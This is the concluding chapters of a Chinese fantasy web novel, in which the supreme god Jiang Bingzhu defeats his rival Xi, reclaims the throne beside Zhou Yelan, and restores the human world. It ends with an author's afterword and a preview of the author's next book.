取而代之的,是一片自虚无处投射而来的无边无际的阴影,那只是神明真正力量的一角, 两种同源的、不可名状的力量在高天之上交锋,不管是人类还是其它生灵,都无法看清上面究竟发生了什么。 但那场交战的余波,却已经让他们不由自主的跪地臣服。 几道顏色各异的影子凭空浮现在早已失去了空间概念的克萊登学院“礼堂”中,饱受惊吓的人类回过头去,才发现这正是至高神殿的四位从神。 和他们一样,从神们也并未涉足上方的交战。 “您……不去吗?” 就算之前已经隐约知晓了江秉烛的身份,A班学生也花了很久很久,才在这时找回了一点点思绪。 但比起至今呆若木鸡的其他人来说,他们好歹还能问出一点问题。 “不,”阿德萊亚轻轻摇了摇头,蓝色的长发在祂身后晃动,颜色变得愈加深重,宛如一场海啸。 “那不是我们可以涉足的战斗。”这位从神说道。 祂的话语很严肃,但表情却称得上轻松,看不出一点焦急,祂的同僚也是如此。 “真希望至高神大人这次可以尽兴,”艾瑞斯在感慨。 “你就是破坏祂兴致的最大隐患之一,”林赛在嘲讽,“你已经那么做过一回了。” 尽管无意偷听从神们的交流,但祂们此刻确实没有遮掩,而A班学生又恰好懂一点诡异世界的语言,听到了这场非常离谱的对话。 A班学生:“……” 过往的一切异样在这个时候串了起来,他们想起艾瑞斯降临这个位面时威风的样子,不由得无语了片刻,甚至为祂们这样悠闲的态度感到震惊。 “祂总会赢,”在A班学生心理风起云涌的时候,阿德莱亚弯下身说,声音轻柔得像在自言自语。 “其实,就算没有我们,祂也会像现在这样,坐上至高神的神位。这只是时间问题而已。” “毕竟……祂可是烛啊。” 第84章 那可是烛啊。 阿德莱亚说话的时候, 語气优美得像在念诵一首长诗。 可这句话、这个字眼只要念出来就有一种神奇的力量,讓人莫名其妙地安心下来。哪怕他们对于眼前的局势无从给出任何判断,自身的处境也糟糕到极点, 却还是能因为“烛”这一个字, 而产生近乎盲目的信赖。 或许这就是神明的力量。 他们恰如其分地回憶起关于至高神的种种传说,想起在那些歌谣与圣典中,祂是如何击败每一名敌人, 取得一场又一场的胜利, 成就从未有存在完成过的伟业。 那是一种绝对的强大。 高天上的争斗在继续, 神明的力量令时空的裂隙从深淵蔓延到每一个位面。一块块镜面似的碎片在幽暗的深淵中浮现,折射出无数不同位面中,极度相似的景象。 ——千千萬萬的人類与诡异生物都在俯首。 那些传说中高傲的圣骑士、声名远扬的领主、令人畏惧的诡异生物虔诚诵念烛的尊名。 而至高的神明伫立在深淵之上,黑色的长发飞扬,那雙猩红的眼眸映照着萬万千千个世界。祂全然是一位俯瞰一切的审判者,没有任何存在,能夠与祂并肩。 每一个世界都在震颤,深黑色的火焰笼罩了天穹, 连常年寒冷徹骨的深淵都在它的温度下沸腾了起来。那是熄所点燃的执念之火,它自死去诸神的憤怒与怨恨中诞生,不会停滞, 不会熄灭, 直到将祂们共同的敌人焚烧殆尽。 熄近乎疯狂地操纵着火焰,贪婪地盯着深渊上的那个影子。 祂见证了亿万万人朝拜烛的风光,也见到了属于至高不容置喙的威能。此前的任何一位神明, 都不曾走到这样的位置上。但是, 只要能夠在这里讓烛殞落, 一切都会成为祂的。 ……本来, 祂就该是站在这里的那个存在! 熄的动作没有一丝犹豫。祂毕竟是从烛的记憶中分割而形成的存在,同样能够操纵祂所掌握的权柄。 昔日的正神们会输给烛,正是因为祂们不曾想到世界上会有连权柄都能一并解构的能力。可如今,独属于烛的那份优势,也来到了祂的手里。 “至高的神明啊,”熄轻声感慨着,“你在登上那座王座时,有没有想到过这一天呢?” 在祂说话的同时,相同的权柄在空中交错,天地色变,整个世界的概念都被这一场神戰而扭曲。 克莱登学院的学生站在他们的世界的残骸里,不敢去听天上神明的对话,他们的脑子也还没能转过弯来。直到现在,他们依然不能把高高在上、能在言語间毁天灭地的神明同沉默寡言的江秉烛联系起来。 但留给他们震撼的时间不多——他们脚下不知何时出现一团团颜色斑斓的影子,在恍惚中投射出许多事物的影子。漫天洒落的金币与钞票、扭曲做一片的人体、象征着王权的冠冕与权杖……那些因为规则扭曲而被放大的执念形成的怪物占领了深渊与世界的每一个角落,祂们的舞动与呓语,足以讓每一个人原地就此失去理智,成为徹底的怪物。 至高神殿的几位从神出手进行了阻拦,可在真神的戰争前,祂们的力量也只足以讓呓语的蔓延减缓些许时间。 尽管世界将要迎来末日,但人類的生命如此脆弱,他们的死亡仍旧先来了一步。 克莱登学院中的人類这样想着,却在恍然中发现,并不是所有人都像他们一样绝望。 他们凭借肉眼无法察觉,但这里绝对有一种力量冉冉升起,构成了无形的屏障,将A班的那些学生、京城的那些年轻人、还有诸多位面中跪拜在地的信徒们与执念形成的怪物隔绝。 在靠近他们的时候,那些凶悍的、浑身都是污染源的怪物便轻而易举地消散了,就像几行铅笔字,被橡皮抹除了彻底。 而那些被保护者的共同点是……诵念着至高神的名号。 ——即便处于神戰之中,至高神也选择为祂的信徒投来庇护。 在这一刻,克莱登学院的学生与老师慌乱地学习着A班的学生,模仿着诡异世界的语言、试图借此让自己獲得活下来的機会。 他们的人生中从未有一天像现在这样后悔过。 那个能毁灭全世界、也能庇佑全世界的神明曾经就在他们身边,待了几个月的时间。他们本来有那么多機会,和祂建立更深的联系。哪怕只獲得一丝垂青,对他们来说,都是足以改变人生、改变命运的。 可他们对江秉烛不屑一顾。 他们只以为……他是一个平平无奇、根本不值得关注的乡下学生。 江秉烛应对着迎面而来的攻击,在铺天盖地的异能中,哪怕是熄也不能看清祂的表情,看清祂嘴角扬起的,越发诡异的弧度。 对江秉烛来说,这实在是一场久违的、有趣的戰斗。 祂从那些操纵权柄的方式中,看到了不少熟悉的影子,包括祂的敌人的,也包括祂自己的。 每个位面的时间流速各有不同,甚至可以有千百倍的差别。但对神明而言,时间的尺度已经失去了意义。祂只知道,自己在成神之后,渡过了相当无聊的一段只能养鱼的日子。不过这场战斗带来的乐趣,足以让祂开心很久。 更何况,除了权柄外,祂还能感受到一种熟悉的、绵里藏针的战斗思路。 那显然来自于某个家伙…… “轰——” 电光石火间,那些一直以来徘徊于深渊中的深色的火焰一簇簇地炸开了,它们升腾着,焰影与烟尘包围了青年修长的影子。足以令神明殞落的熊熊烈火不曾留出任何一个缺口,没有人可以从中脱逃。 在这一刻,喧嚣的天穹寂静了起来,而熄如釋重负的、沉沉地吐出了一口气。 祂想,世界上的事情真是奇妙。而这,就是故事的落幕了。 “你或许还没想清楚这力量的来源,”祂喃喃地说着,盯着熊熊燃烧的黑焰,恍然间想起烛也总会像这样,盯着指尖跃动的火焰发呆。 “人类的、诡异生物的、那些神明的执念加在一起,也只能勉强伤到你。这里面真正强大的,是你自己的那一份。” 那一份来自至高神心底的,想和某人再见一面、想让某人复活的执念,才是黑焰力量真正的来源。 阑选择死去的时候,烛并没有意识到自己这份的执念。等他在熄的苦心籌谋下,終于与阑相逢时,或许明白了一些。可如同其它被熄利用的执念一样,这最終构成了祂最为强大的武器,让祂真正有籌码,与至高神针锋相对。 天生的诡异造物,如果能理解人类标榜的那些高尚情感,确实只剩死路一条了,熄在心中想。 祂环顾四周,将广远无边的深渊与万千世界尽收眼底,很快找到了自己的目标——那个冰冷的、崇高的至高神的王座。 祂心念一动,想要向着那个方向走去,一个鬼魅般的声音却忽然在祂脑海里响起。 “我知道。” 就像读懂了祂心中一切想法一般,江秉烛不紧不慢地解釋着。 “我知道你的存在、知道你会出现、知道你力量的由来。你没有让我失望,这真是……太好了。” 祂说话的时候很耐心,甚至有点夸赞的意味,好像祂正在对话的,并不是来挑战至高神位的熄,而是那只喜欢窝在祂臂弯里的,胖乎乎的诡狼。 这种“夸赞”并不让熄受用,反而让祂在警惕的同时,升起一种憤怒。 “你也学会了虚张声势吗?”祂一边扫视着身旁,一边发问,“如果你知道我的存在,又怎么会放任一切——” “因为,很有趣啊。” 江秉烛回答道。祂给出的回答,和熄问祂为什么要保护人类时一模一样。 自己这样的存在,竟然会和人类得到了相似的待遇,这个认知让熄的不爽又上升了一层。 江秉烛打量着那张和自己挺相似的脸,想了想,决定给祂一点优待。 为此,祂多解释了一点。 “和你打架很有意思,今天之后,我能再收获一条很漂亮的新金鱼,”江秉烛说,“当然,更重要的是,有养鱼的人在。” “比较有利于可持续发展。”周夜阑在后面接道,祂听起来依旧斯文有礼,文质彬彬。 在祂们看来,熄的出现、熄的力量,都没有什么值得意外的地方。 江秉烛并不是突然拥有自己的力量的,祂习惯于分割记憶,维持自身的稳定性。祂从很早之前开始,便决定取代众神自己上位,祂很清楚那些割舍出去的记忆积累到一定层次,便可能发展成独立的个体。 由祂记忆分割出去的存在当然会是个威胁,但在冥冥之中,祂也预见到一种契机——留着那份记忆不去处理,祂或许会有个更喜欢的未来。 而彼时和祂共同合作,共享着部分力量的阑预见到了同样的事情。 祂们都不曾开口,默契地不让这件事存在于自己的记忆之中,然后放任一切自由地发展。 直到不久前,祂们才明白那个契机真正的含义。 神明很难迎来真正意义上的死亡,但如果那一天真的出现了,哪怕是至高的力量,也不足以完全令对方完全复生。 可一份与至高神力量相似的存在、与那一份未必为主人所理解的执念加在一起,便让这件事有了可操纵的余地。 在烛与阑为至高神位合作与竞争的时候,祂们都不止一次地想过,在登神的前夕需要战胜彼此。可是或许从某个时刻开始,那就已经不再是祂们想要的未来。 不管最后成为至高的是谁,祂们都甘愿冒着风险,留下一个可能。 即使那时祂们都不明白。 “所以,”熄抬起眼,充满震撼地喃喃道,“我的存在难道是……” “一个复活的后手,一场有趣的战斗、一份额外的力量、一条收藏里漂亮的鱼,”周夜阑贴心地为祂总结道,“你可以为此感到荣幸。” 熄:“……” 那些本该为祂所驱使的执念的黑焰围绕着烛,它们应该灼烧的,可在这个时候,却在某个人的操纵之下,几乎是缠绵地拥抱着祂。 熄不知道黑焰的是什么时候易主的,祂不曾预料到这之中会有可操纵的空间,但祂发现自己没有预料到的事情有点多,这只能是其中之一。 江秉烛抬了抬手,于是沸腾的深渊停滞了下来。流淌的岩浆瞬间便凝固了,化作一级级台阶,自祂脚下,通向王座的方向。 熄难以置信地望着在祂面前并肩而立的两道影子。意识到自己上千年来的谋划彻底失败,比组成祂身份的那些神灵殒落时的气愤还要更胜一筹。 祂深知自己已然没可能战胜烛,便将视线转向了周夜阑。 “你在得意什么?”熄问,“你以为你真的能得到一个天生的诡异造物的爱?” “成神那天如果易地而处,祂根本不可能——” “有的事情没有如果,”周夜阑打断了祂,语调理所当然得像是在陈述,“只要我活着,就不会允许祂身上出事,这就是其中之一。” 这样的感情或许被人类称之为爱,或许要加上一些别的形容词。 异样、疯狂、危险…… 但祂不在乎,江秉烛也不在乎。 祂们都清楚的是,祂们会陪伴彼此、信任彼此,从雙方握住手的那一刻,直到世界的终结。 还有什么,是比这更令人满足的呢? 当然没有了。 不过,也有一些小事,仍然值得祂们庆祝一下。 深渊的动荡停下了,每个世界都恢复了安静。 江秉烛与周夜阑双手交握着,走上通往王座的阶梯。 祂们穿行过整个深渊,终于,在王座之前,金发的男人停下了脚步,注视着江秉烛走上那个自己熟悉的、冰冷的位置。 哦不,因为蛊人皮毯子的缘故,那里已经不再冰冷了。 江秉烛调整了一个舒适的姿势坐在上面,周夜阑俯下身,向名忠诚的骑士般牵过祂的手,放到唇边轻轻一吻。 然后,祂挥了挥手,将那条新鲜出炉的、五彩斑斓的金鱼,扔进了深渊下装饰精美的鱼池中。 “恭喜你得偿所愿,我的神明大人。” 时隔很久,祂终于当着烛的面,说出了那句迟来的祝福。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【全文完】 第85章 神明回到了祂的王座之上。 江秉燭看着身前的人。深渊之中, 周夜阑金色的发丝上流淌着辉煌而璀璨的色泽,像是神焰燃烧时带来的光亮。 江秉燭从来不喜歡这样的颜色,那总会讓祂想起某些自己看不顺眼的旧神和祂们的神殿。 但这样的颜色放在周夜阑身上, 偏偏又讓祂觉得合适极了。 盡管那样的金色和这家伙的名字放在一起, 总是显得格格不入。江秉燭想着,下意識地伸出手,揉乱了面前人的金发, 然后嘴角挂上了一点笑意。 周夜阑像是有点无奈地叹了口气, 静静地注视着祂的神明, 然后望入一雙同样也在望着祂的深红色的眼瞳。 江秉燭幅度很小、却又真切的笑了笑。 祂忽而想起来在人类戏剧里看过的桥段,鬼使神差地倾身向前,輕輕地周夜阑的唇边落下了一个吻。 并没有什么味道。 这和人类说的并不一样。 在人类排演的戏剧里,莎乐美曾经捧着约翰的被斩首的头颅,吻过他的嘴唇。她说那味道是苦澀的,还认为那就是爱情的滋味。 江秉烛对于人类情感的复杂性早有了解,并一直保持着自己的尊重,毕竟, 祂也从没有真正尝试过去理解。 对于天生的诡異生物来说,理解人类是一件既耗费时间,也带不来利益的事情。 只不过, 在此时此刻, 祂罕见的生出了一分好奇。 而回应祂疑问的,是一雙深邃的碧绿色的眼睛。 这次换周夜阑靠近了祂,在黑暗中祂们唇齿相依, 温暖的气息一点点贴近, 交换了一个很深、很深的吻, 竟然叫江秉烛品出了些淺淡的甜味。 不一样了诶。 祂有点疑惑地舔了舔自己的嘴唇。 周夜阑望着祂, 轻声解释道:“在人类间,爱情会经历不同的阶段,走向不同的結局,这就是它们擁有不同味道的原因。你想听,我愿意把那些故事一个个讲给你听。” “可对于你,”祂说,“我希望你在这段关系中,永远、永远,不会觉得苦澀。” “当然,”江秉烛理所当然的牵着祂的手,嘴角扬起了漂亮的笑弧。 和所有天生的诡異生物一样,祂很少有主观的喜好。只不过,在某些方面,也有点自己的理解。 比如在食物的选择里,比起苦涩,祂偏爱甜味。 比起死亡,祂更喜歡生机。 比起眼泪,祂更乐于欢笑。 —— 人类不知道深渊盡头发生的事情,他们只能看见,在神戰中千疮百孔的世界正重新焕发生机。 深渊的裂隙与时空间狰狞的窗口在弥合,大多数人受到的精神污染奇迹般地渐渐淡去。 他们仍然记得不久前发生的惊天动地的一切,只是当时的惊慌、恐惧都在此刻远离了他们的身体,剩下的只有从剧变中存活下来的喜悦与放松。 他们擁抱着自己在绝望时刻最想见到的家人,落下幸福的泪水。 或許是因为能量的剧烈变化,天上淅淅沥沥地下起小雨,却并不让人觉得寒冷,暖融融地落在行人肩上。 远方的天空,一轮明月冉冉升起,清晖照彻的地方,浮现出影影绰绰的人形。 他们张望着四周,脸上流露出迷茫的表情。在他们弄明白发生了什么之前,旁边已经有人惊呼着冲了过来,紧紧抱住了其中的一位,低声啜泣了起来。 ——那是在几个月前因为诡異事件而失去生命的人,却奇迹般地出现在了这里。 那些被不断牵挂着、被思念的人们,最终回到了他们身边。 这不是凭空降临的奇迹,而是来自神明的恩赐。 死而复生的人尚且不明白发生了什么,手足无措地安慰着自己的亲朋好友,然后看着他们破涕为笑,望向天空的某个位置,嘴里喃喃着什么,露出感激的神色。 在看着世界即将毁灭的时刻,他们从未想过,自己竟然还能拥有这样美好的、童话般的結局。 A班的学生们聚在一起,花了很久很久,才终于找回了自己宕机很久很久的脑子。 “太好了,”有人感慨着开口,从未发现自己的语言如此贫瘠,除了“好”外,再难说出点别的什么。 诡異降临了,但世界没有毁灭,大家都还好好活着。 甚至,他们有种预感,因为神戰中能量的逸散,还有更多普通人会获得足以自保的力量。他们的世界正在迎来全新的未来。 一想到几个月前,他们还自大而傲慢地想凭着自己的力量“保护”所有普通人,A班学生不仅啼笑皆非,甚至不住地感到尴尬,完全不能共情当时的自己。 尤其是,他们最先展现出傲慢的对象是……江秉烛。 那个在他们看来呆呆的、善良的学生,才是掌控一切的、他们許多人最崇敬的那位至高神。 不知是出于什么原因,在烛与熄的战斗中,他们窥见了更多画面,也比别人更知道神的力量的恐怖。他们所认識的那个小江,完全不能与凌驾一切的至高神联系在一起,但又有一点微妙的相似。 只是…… “他,不……祂应该,再也不会回来了。”良久后,有人轻声说。 A班的学生环顾四周,在意料之中,没有看到少年熟悉的身影。 在完成了一切布局之后,神当然不会回到人类之中。而他们作为人类,对于和神明化身朝夕相处、如履薄冰的日子也并不怎么期待。 可是,在没有看到江秉烛的瞬间,A班的学生还是产生了一丝莫名的失落。 他们认识的那个小江虽然沉默,但总是勇敢、善良,还有种不合时宜的冷幽默,让他们真的觉得像是自己的朋友。 即使那只是神明不经意流露的淺浅一面。 “说不定,我们可以养点金鱼,”金祈安若有所思,“金鱼确实挺好看的,我们忙起来的时候看上一眼,心情都会很好。” 他话音落下,许多人配合的点了点头。 不用多说,他们都已经清楚,接下来的日子会非常忙碌。至高神降下了祂的恩赐,与此同时,人类也有许多工作要做,更好的去迎接那个充满未知与机遇的新未来。 —— 两年后,海边。 伪装成街边摊摊主的A班学生坐在摊位前,观察着每一个路过的行人。 经过两年多的努力,人类寻找到了更好的应对诡异的方法,也和许多友善的诡异生物找到了相处间的平衡。 一切都在欣欣向荣,只不过他们还是偶尔有一些问题需要处理。 一伙作恶多端的家伙和诡异生物勾结,多次造成恶劣事件后,在许多位面逃窜。 A班学生收到的消息是,人类世界的这片海灘,就是它们可能的一处藏身窝点。 为了尽快处理掉这些家伙,中枢局与A班学生想出方案,派人潜伏到海灘附近,伪装成普通人,寻找犯罪团伙的踪迹,在保护民众的前提下,将它们彻底清除。 对于现在的A班学生来说,伪装并不是一件难事。他们爽快地答应下来,各自开始伪装。 然后,一群鱼贩子在路边见面了。 A班学生:“……” 算了,幸好是海滩。 他们互相安慰着,只有黎雙白不断打出问号。 有没有一种可能,这里的大部分鱼贩子在卖的都是可食用鱼。 而你们几个,卖得是观赏用的金鱼、变异鱼还有深海大章鱼啊! “雙白,你这两年,也是越来越往吐槽役发展了。”时家逸说。 黎双白:“……” 自己这帮同学现在倒是脱离了中二期,但是为什么,全都开始搞抽象了?! 黎双白的吐槽只持续了很短的一段时间。 随着太阳升起,海边的人多了起来,他们需要及时发现可疑的行踪,并在同时保护住其它人才对。 这几天的海滩都很平静,没出现异常的信号。但谁也不知道,危险是否会在下一个瞬间出现。 A班学生神经紧绷,审视着每一个游客,然后将目光放在了两名青年身上。 他们身高腿长,身型挺拔,一个有着灿烂的金发,另一人留着黑色长发,鸦羽似的发丝显然被精心打理过,梳成精致的辫子,披在肩前。 这片海滩相当有名,不仅总有游客来拍照出片,连知名人物也频频亮相。但在这两名青年面前,那些人的气質似乎都弱了一分。 即便那对情侣都带着墨镜,看不清全貌,也让人下意识觉得,他们一定长得非常好看。 没错,情侣。A班学生笃定地想。 那么匹配的气質,那么特别的、旁人完全插不进的氛围,显然獨属于这对养眼的情侣。 只不过,不知道是不是个错觉,黎双白总觉得那名黑发青年……让他想起了一个人。 “双白,你是不是……也有一样的想法?”旁边的赵一清问。 虽然没有说明,但A班的学生都知道对方问得是什么。 黎双白沉默了一会儿,摇了摇头。 “大概只是个错觉吧,留一样发型的人很多,这种气质虽然獨特,但也有出现在别人身上的可能。最重要的是……” 他没有把话说全,但所有A班学生已经听懂了他的未竟之意。 至高的神明,又怎么会出现在这片平平无奇的海滩呢? 他们想着,心底有一点怅然。 然而就是在这个时候,A班学生发现,那对青年竟然在向他们走来。 他们走路的姿态看起来闲适而优雅,速度却出乎意料的快,就像是他们间的距离已经在某种异能的操纵下被跳过了,以至于那两名青年直接站在了他们面前。 还没等A班学生说什么,他们便看见那名黑发青年轻轻一扬手。 五六个生物的尸体从虚空之中滚落了出来,砸在A班学生身前。 ——赫然便是他们在追杀的犯罪团伙。 可、可是—— “听说你们这里养的鱼很漂亮,”那名黑发青年平静地说着。 然后,祂摘下墨镜,露出了一双漂亮的、独一无二的深红色眼瞳。 【作者有话说】 写到这里就全文完结啦,开了个抽奖,感谢大家一直以来的支持[求你了] 番外会在结算后以福利番外的形式放出 顺便放放下本预收《魔法界遍地都是我的传说》 死后两千年,梅塞亚重生了。 成了一个还没上任就快被饿死的末代召唤师。 召唤师,一个早就被淘汰的下水道职业。 召唤师不可转职,自身毫无攻击力,只能靠召唤物为自己战斗。并且召唤术持续时间短,消耗能量高、除非拥有特定信物,不然连村口看门的狗都召唤不出来。 简而言之,鸡肋。 被称之为废物召唤师的梅塞亚看着面前的召唤术卷轴,若有所思。 需要强大亡者的信物或是信念吗……? 虽然他平平无奇,但两千年前他认识的人还挺多呢。 * 荒原郡邪恶横行,天灾肆虐,是全大陆最难治理的领地。 没人觉得身为召唤师的新领主能让局面有所改变。 领主柔弱到连动物都召唤不出来,身边只有一群五颜六色的光团。 肩不能挑,手不能提,连在荒原上生存的潜规则都一无所知。 横看竖看怎么看都是完蛋。 居民们数着日子,等着为这位风一吹就倒的美人收尸。 可是渐渐的,那柔弱的领主所到之处,召唤术的吟唱响起之时,恶灵避散,成群的凶兽趴伏颤抖,骄傲的法师谦卑垂首。 荒原郡一改颓丧,原本破败的领土就这么欣欣向荣起来。 居民们:诶? * 随着梅塞亚的领地变得富庶,临近的贵族们不怀好意地派出军队,想要得到这块宝地。 至于这里的领主……被时代抛弃的废物召唤师而已,连个入门法师都能让他跪下求饶,解决他,洒洒水啦! 然而,还没等他们进入荒原郡,便遇见—— 大魔法师吟唱着咒语,火龙张开遮天的双翼。帝国有史以来最伟大的君主抽出圣剑,带着亡灵骑士,发起致命的冲锋。 贵族们的军队瞬间溃散奔逃。 而在他们看不见的地方,那些传说中的恐怖存在收起了利刃与烈火,对着一名病弱的金发青年深深俯首—— “殿下,您回来了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m